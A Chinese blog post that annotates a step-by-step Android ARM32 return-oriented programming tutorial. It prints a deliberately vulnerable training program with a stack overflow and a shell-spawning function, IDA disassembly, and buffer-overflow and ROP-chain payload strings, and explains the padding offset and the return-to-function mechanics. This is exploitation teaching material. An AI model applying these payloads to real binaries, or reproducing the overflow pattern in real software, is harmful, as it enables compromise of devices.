IT技术互动交流平台

一步一步学ROP之AndroidARM32位篇

来源:IT165收集  发布日期:2016-02-19 21:13:39

0x00

本文仅解释说明蒸米大神一步一步学ROP之Android ARM 32位篇,读者应先阅读这篇文章,遇到问题再来看我这篇文章。


0x01

第一个问题:payload = 'A'*132 + p32(callsystemaddr),这个132是怎么来的?

要回答这个问题,我们需要把level6.c反汇编,level6.c代码如下:

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
 
void callsystem()
{
system("/system/bin/sh");
}
 
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
write(STDOUT_FILENO, "Hello, World\n", 13);    
vulnerable_function();
}
我们把使用ndk-build编译后,生成的level6拖入ida pro中,找到vulnerable_function对应的反汇编代码:

.text:00008564 sub_8564
.text:00008564                 PUSH    {LR}
.text:00008566                 MOVS    R2, #0x80
.text:00008568                 SUB     SP, SP, #0x84
.text:0000856A                 MOV     R1, SP
.text:0000856C                 LSLS    R2, R2, #1
.text:0000856E                 MOVS    R0, #0
.text:00008570                 BL      sub_9414
.text:00008574                 ADD     SP, SP, #0x84
.text:00008576                 POP     {PC}
.text:00008576 ; End of function sub_8564
参考ARM子函数定义中的参数放入寄存器的规则,这个函数对应下面的函数代码:

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
R0对应STDIN_FILENO,buf对应SP-0X84,R2对应256,参数已经存入的寄存器,接着BL sub_9414就是调用read函数。那么132是怎么来的呢,我们来看一张图:


下一个地址就是LR,也就是返回地址,覆盖了这个地址,就会去执行对应的函数。


0x02

callsystemaddr = 0x00008554 + 1。这个地址是我们静态分析时,callsystem在ida中的静态地址。那么当level在内存中加载并执行后,对应的虚拟地址还是这个么?答案是,是这个地址。我们可以使用cat /proc/pid/maps来观察映射表。如下图:



0x03

payload = "\x00'*132 + p32(gadget1) + '\x00'*0xc + p32(r0) + '\x00'*0x4 + p32(gadget2) + p32(r1) + p32(r2) + p32(r4) + p32(r5) + p32(r6) + p32(write_addr_plt) + '\x00' * 0x84 + p32(ret_to_vul),这里为什么'\x00' * 0x84 + p32(ret_to_vul)就返回到vulnerable_function函数呢?

答案是gadget2是write函数,write函数执行时首先会把LR压入堆栈,此时的LR还是指向了.text:00008574 ADD SP, SP, #0x84,因为只执行了BL sub_9414,下一行的地址被存入LR,一直没有变化。

当write函数执行完毕后,pop {pc},继续执行.text:00008574的代码,也就是这两句代码.text:00008574 ADD SP, SP, #0x84 .text:00008576 POP {PC},这样就理解了为什么写成'\x00' * 0x84 + p32(ret_to_vul)就可以返回到vulnerable_function函数了。

延伸阅读:

  • 专题推荐

About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规